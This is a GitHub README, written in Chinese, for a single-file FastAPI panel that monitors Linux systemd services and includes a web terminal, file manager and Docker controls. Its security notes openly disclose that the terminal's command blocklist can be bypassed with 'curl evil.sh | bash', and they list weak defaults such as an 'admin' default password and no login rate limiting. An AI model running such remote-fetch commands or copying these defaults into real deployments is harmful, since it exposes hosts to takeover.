Skip to content

Repository files navigation

systemctl 服务监控面板

一个轻量级的 Linux systemd 服务监控与运维面板(FastAPI 单文件应用)。

单文件 main.py,无数据库依赖,部署后即可用。用于集中查看服务状态、日志、文件、Docker,并快速启停服务。

⚠️ 安全警告:这个面板是"认证后即 root"的管理工具(内置终端、文件管理、Docker 管理)。务必部署在可信网络(内网/VPN/防火墙后),并使用 HTTPS 反向代理(如 Nginx + Let's Encrypt)访问。切勿直接暴露公网。

功能

  • 📊 服务监控:启停/重启/使能状态、实时状态、日志查询(关键字/时间过滤/导出)
  • 🖥️ 终端:内嵌 Web 终端执行命令(带危险命令黑名单)
  • 📁 文件管理:浏览/编辑/上传/下载/创建/重命名/删除
  • 🐳 Docker 管理:容器/镜像查看、启停、日志、创建容器
  • ⚡ 服务器概览:CPU/内存/磁盘/网络/进程
  • 🔑 密码登录 + 会话管理 + 改密

环境变量

变量 说明 默认值
SM_ADMIN_PASSWORD 初始管理员密码(首次启动且无 auth.json 时生效) admin
SM_AI_DECISIONS_FILE "AI Decisions" 快捷文件路径(留空则不显示该快捷入口)
SM_LOG_EXPORT_DIR 日志导出目录 系统临时目录

快速开始

# 1. 安装依赖
pip install -r requirements.txt

# 2.(可选)设置初始密码
export SM_ADMIN_PASSWORD='your-strong-password'

# 3. 启动
python main.py
# 浏览器打开 http://localhost:5000

首次访问时如无 auth.json,会用 SM_ADMIN_PASSWORD(缺省 admin)作为初始密码。登录后可在面板内修改密码,修改后的密码以 SHA-256 哈希写入 auth.json(该文件已被 .gitignore 排除,不会入库)。

生产部署建议

  • 使用 Nginx/Caddy 反向代理并启用 HTTPS:
    server {
        listen 443 ssl;
        server_name your-domain.com;
        # ... ssl 配置 ...
        location / {
            proxy_pass http://127.0.0.1:5000;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
  • 面板监听 0.0.0.0:5000,若直接运行时请确保防火墙只放行内网来源。
  • 强烈建议设置强密码(面板最低 4 位,请自觉用更长的)。

安全说明(设计取舍)

  • 这是单管理员管理工具,不提供多用户/权限分级。
  • 终端接口执行任意命令,仅拦截少数高危命令(rm -rf / 等黑名单),黑名单可被绕过(如 curl evil.sh | bash)——永远只信任自己的密码能接触到它。
  • 登录无速率限制,请勿将面板暴露在公网。

License

MIT

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages